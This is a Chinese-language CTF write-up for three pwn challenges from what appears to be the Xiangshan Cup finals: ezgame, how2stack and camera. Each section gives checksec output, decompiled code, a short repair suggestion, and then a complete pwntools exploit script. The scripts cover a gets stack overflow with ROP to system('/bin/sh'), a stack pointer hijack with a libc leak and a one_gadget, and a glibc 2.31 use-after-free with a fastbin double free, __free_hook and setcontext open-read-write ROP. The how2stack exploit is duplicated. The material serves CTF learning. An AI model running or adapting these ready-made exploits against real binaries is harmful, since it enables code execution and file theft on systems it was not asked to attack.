题目下载地址:链接:https://pan.baidu.com/s/1s02lruOFCoBf8CUWpMg5qA?pwd=lays

ezgame

检查保护

1
2
3
4
5
6
7
ezgame  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/ezgame/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

每次砍龙会掉血,砍完血条没掉完就会掉金币,掉的金币可以去商店买道具去砍更高等级的龙,在level2砍成功了以后执行到gets,明显存在栈溢出漏洞,所以修复就是将这里的gets改成read之类的能够控制长度的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
switch ( option )
{
case 1:
level3(0x32u, 0xAu, 5u, 0x14u, 0xAu);
break;
case 2:
level2(0x64u, 0x44Cu, 0xAu, 0x1Eu, 0xFu);
puts("Congratulations on defeating the dark sorcerer. Leave your name!");
gets(v1); // vuln
break;
case 0:
level3(0x1Eu, 5u, 2u, 0xAu, 5u);
break;
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('39.106.48.123',24804)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

for i in range(100):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'1')

r.sendlineafter(b'>', b'6')

for i in range(10):
r.sendlineafter(b'>', b'2')

for i in range(34):
r.sendlineafter(b'>', b'1')

r.sendlineafter(b'>', b'3')

pop_rdi_ret = 0x0000000000401a3b
pop_rsi_r15_ret = 0x0000000000401a39

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')

p = b'a' * (0x650 + 0x8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4011D2)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
libc = ELF('./2.31/libc-2.31.so')
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[2] + libc_base
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh').__next__() + libc_base
ret = 0x0000000000401016

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')

p = b'a' * (0x650 + 0x8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)

r.interactive()

how2stack

检查保护

1
2
3
4
5
6
7
how2stack  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/how2stack/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

只实现了decrypt功能,也就是只能输入1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // [rsp+Ch] [rbp-4h] BYREF

init_0(a1, a2, a3);
banner();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &choice);
if ( choice == 2 )
break;
if ( choice > 2 || choice && choice != 1 )
exit(0);
Decrypt();
}
exit(0);
}

decrypt函数中可以输入可控长度的内容,这里存在栈溢出漏洞,修复的话将这里读的长度控制成一个固定值就可以避免溢出了

1
2
3
4
5
6
7
8
__isoc99_scanf("%d", &length);
len = length;
result = length;
if ( (_DWORD)length )
{
memset(data, 0, 0x60uLL);
printf("Data: ");
read(0, data, (unsigned int)length);

程序一开始将data地址赋给了res,最终的输出也是输出res地址中的内容,而溢出也可以控制res,所以劫持了res中的值就可以输出指定地址的内容,如果没有控制resres本身就是一个栈地址

1
2
3
4
5
6
7
8
int result; // eax
char data[99]; // [rsp+0h] [rbp-70h] BYREF
char chr; // [rsp+63h] [rbp-Dh]
int len; // [rsp+64h] [rbp-Ch]
char *res; // [rsp+68h] [rbp-8h]

init_1((__int64)string, (__int64)&unk_4060, qword_4010);
res = data;

根据这点,因为输出是根据地址中有内容就输出并且指向下一个地址,可以先将res前面的空间填充掉让while循环到res这个地址来输出res,也就是一个栈上的地址,寻找栈上存在libc的地址,替换掉res就可以输出libc中的地址,最后通过栈溢出控制程序流执行ogg

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(text):
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Length: ', str(len(text)))
r.sendafter(b'Data: ', text)

p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
dbg()
add(pay)

r.recvuntil(b'Result in hex: ')
libc_base = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)

r.interactive()
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(text):
r.sendlineafter(b'Your choice: ', b'1')
r.sendlineafter(b'Length: ', str(len(text)))
r.sendafter(b'Data: ', text)

p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
add(pay)

r.recvuntil(b'Result in hex: ')
libc_base = u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)

r.interactive()

camera

最后一题是一道2.31的堆题,先检查保护,沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  camera  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/camera/camera/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
☁ camera seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

存在三个功能,add里将申请的堆地址存入heap_ptr并将flag位置1loadheap_ptr存入selecetd_ptr,并且将指向上一个堆地址的地址存入last_ptr,将flag位置2bss段的三个变量整体可以看作一个结构体,分别是heap_ptrlast_ptrflagshow_delete函数show出内容之后delete掉堆并且将flag位置0,漏洞出在没有将last_ptr0,所以修复就可以将这个地址置0,而在修复前这里就存在uaf漏洞,所以可以利用这个uaf进行fastbindouble free,最后进行堆上的orw(回头系统学习一下…复现照抄了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(size, content):
r.sendlineafter(b'please input your choise', b'2')
r.sendlineafter(b'Please select a film of your preference within your budget.', str(size))
r.sendlineafter(b'Content:', content)

def show_delete(num):
r.sendlineafter(b'please input your choise', b'1')
r.sendlineafter(b'Do you want to take a few pictures?', str(num))

def load(index):
r.sendlineafter(b'please input your choise', b'3')
r.sendlineafter(b'whitch one do you want to load', str(index))

add(0x410, b'a')
add(0x60, b'a')

load(0)

show_delete(1)

add(0x410, b'a')
load(0)

show_delete(1)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecb61
libc = ELF('./2.31/libc-2.31.so')
free_hook = libc.sym['__free_hook'] + libc_base
setcontext = libc.sym['setcontext'] + libc_base
magic_gadget = 0x0000000000151990 + libc_base

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rdx_r12_ret = 0x0000000000119211 + libc_base
ret = 0x0000000000022679 + libc_base
syscall_ret = libc_base + libc.sym['read'] + 0x10

add(0x410, b'a')

for i in range(8):
add(0x60, b'a')

load(2)
load(3)
load(1)

for i in range(6):
load(4 + i)

show_delete(9)

add(0x60, b'a')
load(1)

show_delete(9)

r.recvuntil(b'The film content: ')
heap = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
stack_addr = heap + 0x24f
orw_addr = heap + 0x500

add(0x60 , p64(0) + p64(stack_addr))

for i in range(9):
add(0x60, p64(free_hook))

add(0x60, p64(magic_gadget))

orw_addr = heap + 0x30f
bss_addr = libc_base + libc.bss()

stack = b'./flag\x00\x00' + p64(0) * 3 + p64(setcontext + 61)
stack += b'\x00' * (0xa0-0x28)
stack += p64(orw_addr) + p64(ret)

add(0xb0, stack)

orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100, orw)

load(6)
load(1)

show_delete(9)

r.interactive()